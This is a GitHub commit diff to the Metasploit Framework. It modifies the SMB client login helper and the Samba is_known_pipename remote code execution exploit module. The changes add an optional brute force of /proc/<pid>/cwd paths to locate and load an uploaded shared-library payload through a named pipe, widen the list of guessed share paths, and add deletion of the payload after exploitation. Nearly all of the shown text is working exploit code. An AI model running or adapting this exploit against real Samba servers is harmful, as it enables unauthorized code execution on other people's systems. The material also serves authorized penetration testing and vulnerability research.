Skip to content

Commit 18a871d

Browse files
committed
Delete the .so, add PID bruteforce option, cleanup
1 parent cf7cfa9 commit 18a871d

File tree

2 files changed

+67
-16
lines changed

2 files changed

+67
-16
lines changed

lib/msf/core/exploit/smb/client.rb

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -125,9 +125,10 @@ def unicode(str)
125125
#
126126
# You should call {#connect} before calling this
127127
#
128+
# @param simple_client [Rex::Proto::SMB::SimpleClient] Optional SimpleClient instance to use
128129
# @return [void]
129-
def smb_login
130-
simple.login(
130+
def smb_login(simple_client = self.simple)
131+
simple_client.login(
131132
datastore['SMBName'],
132133
datastore['SMBUser'],
133134
datastore['SMBPass'],
@@ -142,7 +143,7 @@ def smb_login
142143
datastore['SMB::Native_LM'],
143144
{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
144145
)
145-
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
146+
simple_client.connect("\\\\#{datastore['RHOST']}\\IPC$")
146147
end
147148

148149

modules/exploits/linux/samba/is_known_pipename.rb

Lines changed: 63 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -25,6 +25,7 @@ def initialize(info = {})
2525
'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery
2626
'hdm', # Metasploit Module
2727
'Brendan Coles <bcoles[at]gmail.com>', # Check logic
28+
'Tavis Ormandy <taviso[at]google.com>', # PID hunting technique
2829
],
2930
'License' => MSF_LICENSE,
3031
'References' =>
@@ -58,6 +59,11 @@ def initialize(info = {})
5859
OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']),
5960
OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
6061
])
62+
63+
register_advanced_options(
64+
[
65+
OptBool.new('BruteforcePID', [false, 'Attempt to use two connections to bruteforce the PID working directory', false]),
66+
])
6167
end
6268

6369

@@ -67,7 +73,10 @@ def generate_common_locations
6773
candidates << datastore['SMB_SHARE_BASE']
6874
end
6975

70-
%W{/volume1 /volume2 /volume3 /shared /mnt /mnt/usb /media /mnt/media /var/samba /tmp /home /home/shared}.each do |base_name|
76+
%W{ /volume1 /volume2 /volume3 /volume4
77+
/shared /mnt /mnt/usb /media /mnt/media
78+
/var/samba /tmp /home /home/shared
79+
}.each do |base_name|
7180
candidates << base_name
7281
candidates << [base_name, @share]
7382
candidates << [base_name, @share.downcase]
@@ -174,9 +183,9 @@ def enumerate_shares_lanman
174183
shares
175184
end
176185

177-
def probe_module_path(path)
186+
def probe_module_path(path, simple_client=self.simple)
178187
begin
179-
simple.create_pipe(path)
188+
simple_client.create_pipe(path)
180189
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
181190
vprint_error("Probe: #{path}: #{e}")
182191
end
@@ -251,24 +260,54 @@ def upload_payload
251260
end
252261

253262
def find_payload
254-
print_status("Payload is stored in //#{rhost}/#{@share}/#{@path} as #{@payload_name}")
255263

256264
# Reconnect to IPC$
257265
simple.connect("\\\\#{rhost}\\IPC$")
258266

259-
#
260-
# In a perfect world we would find a way make IPC$'s associated CWD
261-
# change to our share path, which would allow the following code:
262-
#
263-
# probe_module_path("/proc/self/cwd/#{@path}/#{@payload_name}")
264-
#
265-
266-
# Until we find a better way, brute force based on common paths
267+
# Look for common paths first, since they can be a lot quicker than hunting PIDs
268+
print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}")
267269
generate_common_locations.each do |location|
268270
target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')
269271
print_status("Trying location #{target}...")
270272
probe_module_path(target)
271273
end
274+
275+
# Exit early if we already have a session
276+
return if session_created?
277+
278+
return unless datastore['BruteforcePID']
279+
280+
# XXX: This technique doesn't seem to work in practice, as both processes have setuid()d
281+
# to non-root, but their /proc/pid directories are still owned by root. Tryign to
282+
# read the /proc/other-pid/cwd/target.so results in permission denied. There is a
283+
# good chance that this still works on some embedded systems and odd-ball Linux.
284+
285+
# Use the PID hunting strategy devised by Tavis Ormandy
286+
print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)")
287+
288+
# Configure the main connection to have a working directory of the file share
289+
simple.connect("\\\\#{rhost}\\#{@share}")
290+
291+
# Use a second connection to brute force the PID of the first connection
292+
probe_conn = connect(false)
293+
smb_login(probe_conn)
294+
probe_conn.connect("\\\\#{rhost}\\#{@share}")
295+
probe_conn.connect("\\\\#{rhost}\\IPC$")
296+
297+
# Run from 2 to MAX_PID (ushort) trying to read the other process CWD
298+
2.upto(32768) do |pid|
299+
300+
# Look for the PID associated with our main SMB connection
301+
target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/')
302+
vprint_status("Trying PID with target path #{target}...")
303+
probe_module_path(target, probe_conn)
304+
305+
# Keep our main connection alive
306+
if pid % 1000 == 0
307+
self.simple.client.find_first("\\*")
308+
end
309+
end
310+
272311
end
273312

274313
def check
@@ -331,7 +370,18 @@ def exploit
331370
upload_payload
332371

333372
# Find and execute the payload from the share
334-
find_payload rescue Rex::StreamClosedError
373+
begin
374+
find_payload
375+
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
376+
end
377+
378+
# Cleanup the payload
379+
begin
380+
simple.connect("\\\\#{rhost}\\#{@share}")
381+
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
382+
simple.delete(uploaded_path)
383+
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
384+
end
335385

336386
# Shutdown
337387
disconnect

0 commit comments

Comments
 (0)